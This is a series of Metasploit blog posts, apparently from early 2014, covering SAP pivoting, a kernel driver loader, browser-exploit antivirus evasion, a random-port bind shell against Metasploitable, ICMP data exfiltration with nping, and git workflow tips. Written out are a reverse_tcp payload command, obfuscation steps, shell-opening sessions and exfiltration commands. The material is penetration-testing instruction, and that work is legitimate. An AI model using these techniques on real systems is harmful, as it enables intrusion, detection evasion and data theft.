msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] - Information retrieved successfully
[*] - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

If all went well, you’ll have a nice output of the module in the loot containing interesting internal information from the target SAP host (such as internal usernames you can then try to brute force ).

Pivoting can (and should!) be used to run other modules against internal hosts, not only SAP systems!


We’ve seen how it is possible to exploit weak saprouter configurations that can allow access to internal hosts all the way from the Internet, all this using only metasploit’s support for pentesting SAP systems.

I hope this article can help shed light on both the risks associated with saprouter deployments, as well as SAP security in general.



Wow, I don't know about you, kind reader, but I'm just about blogged out after that 12 Days of HaXmas sprint. I'll try to keep this update short and sweet.


Arbitrary Driver Loading

This week's update include a delightful new post module for managing a compromised target, the Windows Manage Driver Loader by longtime Metasploit community contributor, Borja Merino. If you, as a penetration tester, pops a box get gains administrator rights (or elevate yourself there using any of the several strategies availalbe), this module makes it both easy and fun to load whatever Kernel Mode Driver (KMD) you like.


The possibilities with this, of course, are only limited by your imagination and arsenal of dirty tricks. Want to install a keystroke logger? Maybe a shim to the network stack to quietly reflect traffic to you? Go for it. Maybe you feel like your target could really use a better anti-virus solution -- by better, meaning, one you've already analyzed and compromised.


With modules like these, the name of the game is persistence. While scoring shells is any pen-tester's great success, maintaining access through reboots, network relocations, and patching can be a little tricky. Thanks to Borja's work, the business of installing drivers and services on the fly gets a whole lot simpler. Thanks!


Win a WiFi Pineapple

I know Christian mentioned it in the last blog post, but it bears repeating: We really and truly want to hear from you, Framework, Community, and Pro users, about where you'd like to see Metasploit go in 2014. To that end, please take a couple minutes to provide some thoughtful answers to our Make Metasploit More Awesome Survey. In return, you'll get a chance win a WiFi Pineapple. They're super fun devices, great for parties as well as on the job, and yes, you really need one.


New Modules

Alas, only four new modules this week, including the aforementioned driver_loader post module. Clearly, Juan didn't take that whole holiday thing nearly as seriously as the rest of us.


Exploit modules


Auxiliary and post modules


If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

hak5_pineapple.jpgWe’ve sharpened our pencils and put up a drawing board to decide where we want to take Metasploit in 2014 and beyond. Metasploit is built on collaboration with the community, both through the contributions of security researchers in building the open source Metasploit Framework, and through a continuous feedback loop with our customers that enables us to keep driving the solution to meet their needs. As part of our continued commitment to the latter, we're asking you to let us know how you use Metasploit, what’s great and what’s not, and where we should be taking the software, so we can develop the right Metasploit for YOU.


Tell us how you use Metasploit and win one of 3 Hak5 WiFi Pineapple Mark V


What’s best: You can even win one of 3 WiFi Pineapple Mark V if you help with the Metasploit user survey. To qualify, you just need to be a Metasploit user (either open source or commercial editions is fine).


>> Ready to get started? Click on this link to let your voice be heard & get a Hak5 WiFi Pineapple

evade-anti-virus-detection.jpgHere on SecurityStreet, we get a lot of questions regarding penetration testing and how to evade various Anti-Virus programs detecting the work you're doing. Still, if you can't actually run a fully functional test, then you can't mimic the real world conditions that an attacker would take to try to get into and exploit your networks.


This guide: Security Guide: How to Evade Anti-Virus Detection, will help with how to best avoid that detection on the machines targeted by your Metasploit pen tests. Please note - this guide assumes some familiarity with Metasploit Pro and penetration testing in general.


Once you've read through the document, there's also an excellent Webinar, and a White Board Wednesday on this topic linked at the end of the document, for some additional insight and discussion.


Please let us know your feedback, ask any questions that we can clarify, and feel free to suggest other guides that might help with the specific security challenges you're facing day by day.


Metasploit's 12 Days of HaXmas

Posted by todb Employee Jan 6, 2014

12 Days of HaXmas, Wrapped!


Over the actual Twelve Days of Christmas, we here in Metasploit Nation have been celebrating the 12 Days of HaXmas by bringing our blog readers a fresh post about Metasploit (and hackery in general) every day for twelve days straight, all tagged under HaXmas. That conveniently lists all 12 posts in reverse order, so as you scroll through the titles, you can sing along:


On the 12th day of HaXmas, my true love gave to me...

  12 AV signatures,

  11 Git config aliases,

  10 Vigilantes webcammed,

  9 random bind ports,

  8 ping egresses,

  7 year-end wrap ups,

  6 IPMI 0days,

  5! RJS Buuuuuuuugs!

  4 party tricks,

  3 Meterpreters,

  2 password caches,

  and an SAP assessment suite!


...okay maybe it's not so great in song form. But I defy you to try to read that in your head without cramming the syllables into the lyrical meter. Oh, and the tune's stuck in your head now, too. You're welcome!

This post is the twelfth, and last, in a series, 12 Days of HaXmas, where we take a look at some of the more notable advancements in the Metasploit Framework over the course of 2013.

tom_jerry.pngIn the final episode of 12 Days of HaXmas, we'll talk about the holy war between browser exploits vs antivirus. It will sound a little biased from time to time, but note that It is not meant to compare who is better -- I don't have the resources to compare the entire matrix of AV solutions, only what's easily accessible by the average population. So, please don't read this like it's a full-blown, multi-million dollar research paper. It's just a blog. I can only discuss this from my own perspective - that is, me as an open source hacking tool provider, and my audience as the users - enjoy!


Antivirus evasion is always a cat and mouse game, there is no argument about that. Whatever you do as an attacker, the talented engineers and researchers on the defense side will eventually solve the problems. And then you come up with something new, and the fight goes on until one of us retires. Take Metasploit for example, we offer several features that can be used (or are used) to bypass AV, and this is what's currently happening:


Apache Template used by Windows meterpreter

Heavily flagged by most AV.

msfencodeDecoding stub can be flagged by most AV.
Encode more?Popular AVs should still be able to flag it.
Custom template + encode more??Popular AVs should still be able to flag it.
ObfuscateJSIneffective against some AVs.
JSObfuIneffective against some AVs.
Specific exploit writing styleUndetected for a few days, but good luck keeping it that way.
Other commercial-level AV evasion technologiesNot covered in this blog.
Whatever evasion techniques you've made publicAV will most likely flag them.


fight_club.pngDoes it look kind of depressing? Yes. However, a wise man once said "if you know your enemies and know yourself, you will not be imperiled in a hundred battles; if you do not know your enemies but do know yourself, you will win one and lose one; if you do not know your enemies nor yourself, you will be imperiled in every single battle." So as an attacker, it's rather important to understand your own strength. You probably also just noticed I said "evasion techniques you've made PUBLIC," because the truth is, attacks should be made to be felt, not seen (my Yoda moment). And this also brings up the "secret" rule about Fight Club: "The first rule of Fight Club is you do NOT talk about Fight Club." You see, my man Tyler Durden just schooled you about cyber wars.


But hey, we are Metasploit, so it's our job to keep everything as frank and open as possible. We are the opposite of Fight Club.


Let There be Light


Despite all the wonderful countermeasures AVs offer, they are still made by humans. What tends to happen is that AVs will only do just enough to make sure a malicious code is detectable. I can't speak for ALL antivirus out there (again, time and resources), but generally speaking these tend to be the places AVs look for in a browser exploit because they're commonly seen, and I'll try to briefly explain each:


  • Heap spray routine
  • Trigger for the vulnerability
  • Payload


Heap Spray That Gets Flagged


Often browser exploits take advantage of some sort of memory corruption, for example: a heap-based overflow, or a use-after-free. And the "heap-spray" exploitation technique is used to prepare a specific memory layout to place the payload at a predicable place, and/or used to leverage an information leak that allows the exploit to read something in memory. There are plenty of ways a heap spray can be done: with images, with Javascript, ActionScript, or whatever. As long as something allocates memory on the heap (with user-controlled size and data), it is a good candidate for heap spraying. A typical spray looks something like this:



For a quick demonstration, I saved the above Javascript as "i_am_harmless.html", and then uploaded to VirusTotal. See results:




So I got flagged, ain't no thing. What actually gets flagged in the code is kind of product-specific, but I'll pick Avast as an example because this is a pretty popular product. To find the specific lines that get flagged, we can use the "dsplit" technique. Basically this is a tool that splits data into chunks, and then you let the AV scan these chunks to identify which ones get flagged, whatever gets flagged is where the AV signature looks for, and that's what you should modify. You can use the same concept to find signatures for browser exploits.


For Avast (and apparently, McAfee picks this up too), it specifically looks for the following code in the above Javascript - results here:




How difficult is it to make two lines undetectable, right?:




As of now, the above code will not be flagged by AVs, results can be found here. It's a very basic example on how exploits can bypass AVs, but should be enough to make a point. However, not all memory corruption based exploits need heap spraying. In the case of a use-after-free, if you have precise control of the memory release, the invalid use, you don't have to spray... well, at least no more than 18+1 times: 18 consecutive times to make sure a specific allocation size is enabled, the +1 to actually overwrite the freed memory right after that happens. Stuff like this is still pretty hard to detect, here's an example (i_am_kinda_harmless.html):




The above code would look malicious in the eyes of an exploit developer, but not for an antivirus:




In case you're wondering why this would be malicious, it's because:


  • In function lfh(), the image object creates a specific size on the heap, and then the appendChild() calls in the loop will keep these allocations.
  • In function overwrite(), when you assign something to the className property, you also trigger a heap allocation. If you're really curious, you can read this tutorial about "DOM Element Property Spray" by Peter Van Eeckhoutte, same idea (and callstack, even).
  • When you put these routines in the right order (see main() function), the malicious intend stands out. It's pretty difficult for AVs to catch this behavior, so you'd kind of have to hope they catch something else in the code, like the trigger.


Trigger That Gets Flagged


A "trigger" is code that triggers the vulnerability, which implies triggers are bug-specific. There are a few ways your trigger wouldn't be detected:


  • It's an 0day, there is no perfect and universal solution to find them all.
  • There is more than one way to trigger the bug. For example: use-after-frees are commonly triggered by one or more event handlers, sometimes one is flagged but you still have other options available. Same with how you create an object, how you free, etc.
  • Obfuscation.
  • Modify a few keywords, and then you're done. This is so ridiculously easy, I'll use this one as an example.


The following code is part of MS12-063 (execCommand use-after-free). Originally I was testing against G DATA, and at the time (almost a year ago) this is what it was flagging for the exploit:



However, G DATA actually wasn't the only one flagging this code. Others like Ad-Aware, BitDefender, Emsisoft, F-Secure, MicroWorld-eScan, nProtect also flagged it as an exploit:




Are you ready to know how to bypass this? Here's how:




And nobody picks it up again:




Payload That Gets Flagged


One thing you should know about browser exploit payloads getting flagged is that, well, most of the time they're not flagged :-) So this makes things a lot easier for us. Metasploit browser exploits are already using payloads that are encoded with x86/shikata_ga_nai in Javascript format (little endian), which is the equivalent of the following command:


msfpayload windows/meterpreter/reverse_tcp lhost=[IP] lport=[PORT] R |msfencode -t js_le


When I uploaded the Javascript-based payload to VirusTotal, only two picked it up:



It's pretty easy to get around these two with the Rex::Exploitation::JSObfu API in Metasploit. The lazy me did something like this during the experiment:


msf > irb
[*] Starting IRB shell...

>> js.obfuscate
>> puts js
... The obfuscated output will be generated ...


And the obfuscated version bypassed both of them (Microsoft and Norman):




There's a little bit more to how AVs detect browser exploits. Another thing we haven't covered is the use of browser extensions to detect malicious pages at real time. There are also ways around them, but perhaps we'll share that experience with you next time. The moral of the story is that as you can see, AV evasion is a never-ending game. If your'e the user type, personally my take is it never hurts to learn how to code a little bit in your spare time, and modify a few lines of code in the exploit to get things smoothly when the time comes. And I promise you, it will come. After all, a tool is only as good as the skills of the craftsman/woman using it. If you are the developer type, now that you're more knowledgable about this cat and mouse game than ever, it is up to you to decide which side you want to contribute (offensive or defensive), and make the world a little better.

This post is the eleventh in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.


Make no mistake -- the initial learning curve for git and GitHub can be pretty hairy. Way back in 2011, we made the initial move to GitHub for our source code hosting, but it took us until 2013 to remove the last vestiges of our old SVN infrastructure. In the meantime, we've picked up a fair amount of git and GitHub smarts. For HaXmas, I'd like to share with you some of the nuggets I've incorporated in how Metasploit uses git and GitHub. I know the guys over at nmap are considering the move, so maybe they can get a little ahead of the game with this post.



SSH Aliasing

I heart strong crypto, so for talking to GitHub, I use public key authentication by creating some aliases in my .ssh/config. I also use different keys for different accounts, so if I manage to get owned on one, I don't automatically sacrifice the other. The relevant bit of my .ssh/config is here, and so when ever I need to create new mappings to remotes to GitHub, I just use "github-r7" for a username and password and it's all taken care of behind the scenes. For example, if I want to start tracking Juan's Metasploit fork, I'd just use:


git remote add -f jvazquez-r7 github-r7:jvazquez-r7/metasploit-framework.git


If Juan was kind enough to give me committer access to his fork, I could then go and push things to his fork directly. If he didn't, no big deal, I just get read only -- and as you'll see later, I wouldn't often (ever?) want to write to Juan's fork anyway -- I'll just send him Pull Requests. (In GitHub parlance, a pull request is a suggested change, feature, bug fix, documentation change, etc. -- we'll see more about those in a second.)


Origin vs. Upstream

In git, the names of remotes (places where copies of your source code live) are not supposed to be reserved or special. However, "origin" is usually treated specially -- it's normally where your default remote repo lives. This is great if you're the only one who works on your code, and you only occasionally get pull requests from others.


For Metasploit, we have a few folks with commit rights to the main repository, but because so many people fork and pull from it throughout the day, we avoid editing it directly too much. Plus, most people who contribute Metasploit code don't have direct committer rights.


Metasploit developers always treat "origin" as their own fork of Metasploit (where they can write), and "upstream" as the main rapid7 fork. This is true for bothprivileged committers and unprivileged pull requestors (aka, random hackers from the Internet).  That way, we all can use the same terminology when we're talking about pushing code to GitHub, and everyone communicates changes to Metasploit in the form of pull requests.


In my .git/config file for metasploit-framework, the two repos look like this:


[remote "origin"]
  fetch = +refs/heads/*:refs/remotes/origin/*
  fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
  url = github-r7:todb-r7/metasploit-framework
[remote "upstream"]
  fetch = +refs/heads/*:refs/remotes/upstream/*
  fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
  url = github-r7:rapid7/metasploit-framework


This is not a default config; you need to edit it up yourself if you want to play along. Notice how I'm using "github-r7" as a user@server string -- as stated above, that's defined in my .ssh/config.  Also notice the magic pr refs line in the middle of each remote definition. That lets me do things like 'git checkout upstream/pr/1234' to get a copy of PR #1234's code locally. Super useful and that really speeds up development quite a bit, since I don't usually have to track everybody's remote seperately.


Signed commits

One of the greatest features of git, as far as security goes, is also one of the least used: the ability to PGP/GPG sign each commit that lands on any branch. Setting up git signing is pretty straightforward, and potentially offers a ton of integrety to the codebase. For Metasploit, I maintain a a registry of committer keys so anyone who cares to can verify that merges to Rapid7's master branch are really and truly from the people they're claiming to be, and not from someone who has managed to guess one of our passwords (or from someone simply pretending to be someone else via "git commit --author=HD Moore" or something).


Unfortunately, I say "potentially" for a reason -- while signing is supported today, it's surprisingly difficult to have a rule like, "Reject all unsigned merges" for your local checkout -- you basically have to use your eyeballs, or hack up some script that will parse the text output. At least, I haven't found a good way to do it yet -- if you know, tell me!


Useful Git Aliases

So let's pull all this together with some useful git aliases. These live in either your ~/.gitconfig or in your path-to-metasploit-framework/.git/config files (the latter will supersede the former in the case of conflicts).


It's often said around the Rapid7 office that some day, a really great versioning system will be built on top of git. In the meantime, we get by with a selection of aliases that pretty much anyone can start using right away.  If you want all the details of what I use for day-to-day development on Metasploit, you can peep the details of my ~/.gitconfig and my metasploit-framework specific .git/config files. Here are the highlights, though:


  m = merge -S --no-ff --edit
  c = commit -S --edit


With these, I never type "git commit" or "git merge" anymore; just "git c" and "git m". Under the covers, I'm always signing all of my commits with my GPG key, and I'm always getting the opportunity to edit my commit message (instead of using git's sometimes useless defaults).


  publish = push upstream upstream-master:master


Because we don't ever edit rapid7/metasploit-framework master branch directly, we never treat the rapid7 repository as "origin." This makes pushing to rapid7's master branch a little tricky, though, so this alias saves me the trouble of having to remember the syntax for how to push my merges once they're ready to go.


  tag-sprint=!"git tag -s $1 -m \"Tagging as $1\" && git push --tags upstream upstream-master:master && echo Tagged as"


Pushing tags, which could vaguely be thought of as version markers, is always a little weird in git's syntax, and when we're operating in our own particular upstream-instead-of-origin paradigm, it's even harder.  This alias automates that up pretty well, though. Now, I just type "git tag-sprint sprint-D02" and it does what I expect.


  pr-url =!"xdg-open$(git config github.user)/$(basename $(git rev-parse --show-toplevel))/pull/new/$1:$2...$(git branch-current) #"


This is the single most useful alias I have; with this, I can issue a pull request direct from my command line against anyone's branch of Metasploit Framework, or any other git repo I have a fork and local clone of. So, say there's a pull request in for some Metasploit module, from Kernelsmith, but I want to fix up the print_status statements; instead of complaining about it, I can fix it myself and send him the results to incorporate in his branch. Assuming Kernelsmith's branch is called "foo-module" and is part of pull request #1234, the procedure for this would be something like:


git checkout -b fix-grammar-foo-module --track upstream/pr/1234
gvim modules/exploits/windows/foo.rb # and save of course
git add -p
git c
git push origin
git pr-url kernelsmith foo-module


Once he reviews my pull request to his branch and lands it, the pull request over on Rapid7's repo will be updated automatically. This is exactly the kind of thing that makes git crazy powerful as a collaborative engine. Anyone, not just people with commit rights, can make suggestions for anyone's code. I can PR to you, you can PR to me, we can work things out totally outside of the rapid7 repo, and when we're done, one of us can fire off a pull request that retains all our respective commit histories.


Again, there's bunches more of these aliases in in my junk drawer, but hopefully these are enough to get you comfortable with dreaming up git aliases.


GitHub Account Security

We use signed commits so we can prove that code changes really come from us, and we also use seperate accounts for committing to Rapid7-authored source code -- if you pay any attention at all to our logs, you'll see that I'm "todb-r7" and not just "todb" when I commit to the Framework.


The reason for this is that when you associate your GitHub username to an e-mail address, any of those e-mail addresses can complete a password reset if you (or an attacker) forgot your password. This is kind of a huge bummer, because if any of your associated e-mail addresses gets compromised, it's a straight shot to a password reset. Therefore, all *-r7 accounts are associated with one well-controlled and well-monitored mail server (different accounts, of course), and we don't have freemail/webmail accounts associated with them at all. We've asked GitHub to at least enable some kind of flag that says "Only allow password resets from this e-mail address," but it's not been implemented yet. Boo.


That said, the risk of actually getting owned this way is a lot smaller today than it was two years ago, though, thanks to GitHub's most excellent two-factor authentication (2FA). It works pretty much the same as Google's 2FA, where you either get a SMS text or generate a code locally. Note that if you're a T-Mobile customer, or if you need to whitelist SMS sources via shortcode, GitHub's shortcode is "448-482" (GIT-HUB). One super nice feature of GitHub's is that if you're an organization owner, you can check to see which members of your organization have 2FA enabled simply by checking your organization's members page.


Getting Started Yet?

Using git and GitHub effectively for code sharing is kind of hard, especially if you have some habits from SVN and earlier source code control systems. But, I hope this post demystifies some of the plumbing a little bit. It took us probably 3-6 months to really get into the swing of things, and we still find some of the darker corners of git somewhat terrifying. So, if you're a n00b, you're definitely not alone. But, if you're willing to learn how to use the world's most popular collaborative open source development platform, we have some documentation at that hopes to help make setting up an environment as straightforward as we can. We're also in the midst of putting together a solid Chef recipe that might make things a little easier.

This post is the tenth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

donut.pngFor the past couple of months, the Austin office of Rapid7 saw an increased number of unwilling donut offerings made by employees who failed to secure their computers while away from keyboard. These attacks only resulted in confusion and disappointments for the rest of the company, because only a few of the victims actually bought donuts. The agents of the People's Republic of Metasploit were summoned on Friday, and successfully identified the secret vigilante as "TheLightCosine".




"The donut attacks were extremely effective and sophisticated," says HD Moore, Chief Research Officer at Rapid7 and founder of the Metasploit Project. Forensics evidence suggests these hacking incidents began as early as November of 2013, most likely sooner. A compromised machine by the secret vigilante would send an e-mail like the following to the company's internal network using the machine owner's established session:



The agents of the People's Republic of Metasploit started an investigation last week, and attempted a counter-intelligence technique known as "webcam_stream" in order to catch TheLightCosine in the act. "webcam_stream" is also now available for download, but current Metasploit users should receive it with a msfupdate. This is actually a meterpreter command that allows the user to turn on a remote webcam and stream it live.


To achieve this, the operation team set up a honeypot with an active webcam_stream session:




The function would create, and automatically open a local Javascript-based player for the live stream. However, instead of playing locally, the agents also streamed it to their smartphones, which can be done by setting up a web server and host the live feed (in JPEG format). They left the honeypot workstation's desktop unlocked, and waited.


At 12:39 p.m., TheLightCosine emerged from the darkness and began his assault against the honeypot. The strategy paid off, and the agents managed to get a good look of the hacker live from the phone:




Armed with high-powered "N-Strike" nerf guns, "TheLightCosine" was finally arrested by the agents following a raid at his workstation in the office on Tuesday. "I'm in total shock right now," says fellow worker James Lee, Metasploit's core developer, "But I do like donuts."





Check out the alternate ending.

Special thanks to the crew to make the photo shoot happen: TheLightCosine, William Vu, James Lee, Jennifer Chen.

This post is the ninth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.


A few months ago, contributor geyslan submitted a cool pull request for a random-port bind shell payload on x86 and x64 Linux systems.


In this post, we'll explore how to use this payload with our friends Nmap and Ndiff. Let's get hacking!


Why should I use this thing?


Well, if you can use a reverse shell or a traditional bind shell, do that! The primary benefit of shell_bind_tcp_random_port is its size. By avoiding the bind call, the payload is a fair bit smaller than your usual bind shell. This could be useful if you have a severe size restriction on your payload.




We're using Metasploitable for our vulnerable host. Just boot up the VM with host-only networking enabled, and you should be good to go. In this case, Metasploitable is at




First, we need to get a list of open ephemeral ports using Nmap. An ephemeral port is just a port that the OS assigns automatically and temporarily. Our payload will bind to one of these ports. We use a little shell magic to parse the ephemeral port range in /proc/sys/net/ipv4/ip_local_port_range and feed it to Nmap. We also need to save the scan results to before.xml in order to use Ndiff later.


root@kharak:~# nmap -Pn -T5 -n -v -p "$(sed 's/\t/-/' /proc/sys/net/ipv4/ip_local_port_range)" -oX before.xml --open --send-ip Starting Nmap 6.00 ( ) at 2014-01-02 11:59 CST Initiating SYN Stealth Scan at 11:59 Scanning [28233 ports] Discovered open port 33395/tcp on Discovered open port 47431/tcp on Discovered open port 49712/tcp on Discovered open port 51488/tcp on Completed SYN Stealth Scan at 11:59, 0.31s elapsed (28233 total ports) Nmap scan report for Host is up (0.00014s latency). Not shown: 28229 closed ports PORT      STATE SERVICE 33395/tcp open  unknown 47431/tcp open  unknown 49712/tcp open  unknown 51488/tcp open  unknown MAC Address: 00:0C:29:3D:5A:9B (VMware) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds            Raw packets sent: 28233 (1.242MB) | Rcvd: 28233 (1.129MB) 


As you can see, ports {33395,47431,49712,51488}/tcp are open in the ephemeral port range.




Next, we need to exploit the system. We're using exploit/multi/ssh/sshexec here, since we know that Metasploitable has SSH open with default creds msfadmin:msfadmin.


Make sure to use the payload linux/x86/shell_bind_tcp_random_port. That's why we're here, right? :)


msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > setg RHOST
msf exploit(sshexec) > set USERNAME msfadmin
USERNAME => msfadmin
msf exploit(sshexec) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf exploit(sshexec) > set PAYLOAD linux/x86/shell_bind_tcp_random_port
PAYLOAD => linux/x86/shell_bind_tcp_random_port
msf exploit(sshexec) > exploit

[*] - Sending Bourne stager...
[*] Command Stager progress -  38.67% done (268/693 bytes)
[*] Command Stager progress - 100.00% done (693/693 bytes)


We won't get a session from this, since Metasploit doesn't know which port the payload is running on (by nature of the payload).


Nmap and Ndiff


Almost there! Now we need to scan the host again to get the new state of open ephemeral ports. We save the results to after.xml.


After that, we can use Ndiff on before.xml and after.xml, revealing to us the port our bind shell is on.


root@kharak:~# ^before^after nmap -Pn -T5 -n -v -p "$(sed 's/\t/-/' /proc/sys/net/ipv4/ip_local_port_range)" -oX after.xml --open --send-ip Starting Nmap 6.00 ( ) at 2014-01-02 12:00 CST Initiating SYN Stealth Scan at 12:00 Scanning [28233 ports] Discovered open port 51488/tcp on Discovered open port 49712/tcp on Discovered open port 33395/tcp on Discovered open port 47431/tcp on Discovered open port 36503/tcp on Completed SYN Stealth Scan at 12:01, 0.27s elapsed (28233 total ports) Nmap scan report for Host is up (0.00012s latency). Not shown: 28228 closed ports PORT      STATE SERVICE 33395/tcp open  unknown 36503/tcp open  unknown 47431/tcp open  unknown 49712/tcp open  unknown 51488/tcp open  unknown MAC Address: 00:0C:29:3D:5A:9B (VMware) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds            Raw packets sent: 28233 (1.242MB) | Rcvd: 28233 (1.129MB) root@kharak:~# ndiff {before,after}.xml -Nmap 6.00 scan initiated Thu Jan 02 11:59:37 2014 as: nmap -Pn -T5 -n -v -p 32768-61000 -oX before.xml --open --send-ip +Nmap 6.00 scan initiated Thu Jan 02 12:00:59 2014 as: nmap -Pn -T5 -n -v -p 32768-61000 -oX after.xml --open --send-ip, 00:0C:29:3D:5A:9B: -Not shown: 28229 closed ports +Not shown: 28228 closed ports PORT      STATE SERVICE VERSION +36503/tcp open 


Our bind shell is on port 36503/tcp!




Finally, we can pop a shell with exploit/multi/handler. Just set PAYLOAD to linux/x86/shell_bind_tcp, LPORT to the port you found with Ndiff, and hit exploit! We already set RHOST globally when we used exploit/multi/ssh/sshexec. :)


msf exploit(sshexec) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/shell_bind_tcp
PAYLOAD => linux/x86/shell_bind_tcp
msf exploit(handler) > set LPORT 36503
LPORT => 36503
msf exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened ( -> at 2014-01-02 12:01:39 -0600

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux


And there you have it! We got a shell. :D




If you're new to Metasploit and want to try your hand at some awesome hax, you can download it here. Hack the planet!

This post is the eighth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.


Today, I want to go in depth on one of the first modules that we committed in 2013: auxiliary/server/icmp_exfil by Chris John Riley. It was fun then, and it's fun a year later, too.


First off, on your Metasploit listener machine, which needs to be able to hear ICMP ping replies from the Internet, you'll need to make sure you have libpcap headers and the pcaprub gem installed; while this is standard for Metasploit Community and Pro editions, you'll want to double check your installation if you're on the developer (Github-based) edition. If you don't already have the sniffer libraries installed, and you're on a Debian-like system, it's simply a matter of "apt-get install libpcap-dev; bundle install". You'll also need to run Metasploit as root (in most cases) to run the required packet sniffers.


Once you're set, you'll want to run the module, like so:

msf > use auxiliary/server/icmp_exfil 
msf auxiliary(icmp_exfil) > set INTERFACE eth0
msf auxiliary(icmp_exfil) > set BPF_FILTER icmp and not src Y.Y.Y.36
BPF_FILTER => icmp and not src Y.Y.Y.36
msf auxiliary(icmp_exfil) > run

[*] ICMP Listener started on eth0 (Y.Y.Y.36). Monitoring for trigger packet containing ^BOF
[*] Filename expected in initial packet, directly following trigger (e.g. ^BOFfilename.ext)


This will start the ICMP listener and let you know what IP address is being monitored. You'll want to note that IP address (or DNS name) before you go on site to your internal client machine, so best to write it on your arm with a Sharpie(tm).


Now, if you just want to send a short text string to your listener, it's pretty straight forward with the suggested client, nping. For example, on the internal client, you could exectute:

# nping --icmp -c1 --data-string "BOFexfilt_data.txt"
# nping --icmp -c1 --data-string "Here's the secret password: letmein"
# nping --icmp -c1 --data-string "EOF"

...and that will end up creating the "exfilt_data.txt" file on the Metasploit listener.


That's fun and all -- really, it is -- but let's see if we can't get some binary data across the wire. For that, you'll need something a tiny little bit more complex. Today, I wrote a quick script for just that, imaginatively named exfiltrate-data.rb. What this does is take a binary file, convert it to hexified ASCII (so "A" becomes "41", "nul" becomes "00", etc), split it into 1400-byte chunks (remember, one ASCIIfied byte is really two bytes now), and send that with nping's --data option. You can grab this script with "curl -L -o exfiltrate-data.rb" if you like.


Now, I'm the first to admit that this script isn't terribly reliable, which is why it's not likely to ship as part of Metasploit any time soon. For example, my traffic management strategy it just to drop in delays between packets, no ICMP-style acks or anything. In other words, I'm pretty much just hoping for the best and the data will get there in the right order. But, this sort of thing turns out to be pretty good for small hunks of data -- PGP secret keys, shadow files, stuff like that. Here's a quick sample run from the listener's terminal:

msf auxiliary(icmp_exfil) > run

[*] ICMP Listener started on eth0 (Y.Y.Y.36). Monitoring for trigger packet containing ^BOF
[*] Filename expected in initial packet, directly following trigger (e.g. ^BOFfilename.ext)
[*] 2014-01-01 20:49:32 -0600: ICMP (type 8 code 0) SRC:X.X.X.113 DST:Y.Y.Y.36
[+] Beginning capture of "exfil-data.bin" data
[+] Response sent to X.X.X.113 containing response trigger : "SEND"
[*] Received 1400 bytes of data from X.X.X.113
[+] Response sent to X.X.X.113 containing response trigger : "OK"
[*] Received 294 bytes of data from X.X.X.113
[+] Response sent to X.X.X.113 containing response trigger : "OK"
[*] 89894 bytes of data recevied in total
[+] End of File received. Saving "exfil-data.bin" to loot
[+] Incoming file "exfil-data.bin" saved to loot
[+] Loot filename: /home/todb/.msf4/loot/20140101205608_default_Y.Y.Y.36_icmp_exfil_538835.bin
[+] Response sent to X.X.X.113 containing response trigger : "COMPLETE"


and here's the client:


$ rvmsudo ./exfiltrate-data.rb /bin/ls [*] Exfiltrating /bin/ls to in 65 chunks. Starting Nping 0.6.00 ( ) at 2014-01-01 20:49 CST SENT (1.5212s) ICMP Z.Z.Z.208 > Y.Y.Y.36 Echo request (type=8/code=0) ttl=64 id=27281 iplen=45 RCVD (1.5439s) ICMP Y.Y.Y.36 > Z.Z.Z.208 Echo reply (type=0/code=0) ttl=51 id=14842 iplen=45 Max rtt: 22.595ms | Min rtt: 22.595ms | Avg rtt: 22.595ms Raw packets sent: 1 (45B) | Rcvd: 1 (45B) | Lost: 0 (0.00%) Tx time: 0.00126s | Tx bytes/s: 35742.65 | Tx pkts/s: 794.28 Rx time: 1.00199s | Rx bytes/s: 44.91 | Rx pkts/s: 1.00 Nping done: 1 IP address pinged in 2.52 seconds [*] Sent chunk (1/65) [*] Sent chunk (2/65) [*] Sent chunk (3/65) [ .... snip .... ] [*] Sent chunk (63/65) [*] Sent chunk (64/65) [*] Sent chunk (65/65) [*] Ending file... 


So, that's the tour for icmp_exfil. As a packet and protocol nerd, I love modules like this. Now that you've got the background on this particular (and fun!) auxiliary module, feel free to poke around the rest of the auxiliary/server tree and see what strikes your fancy. Happy New Year!

Filter Blog

By date: By tag: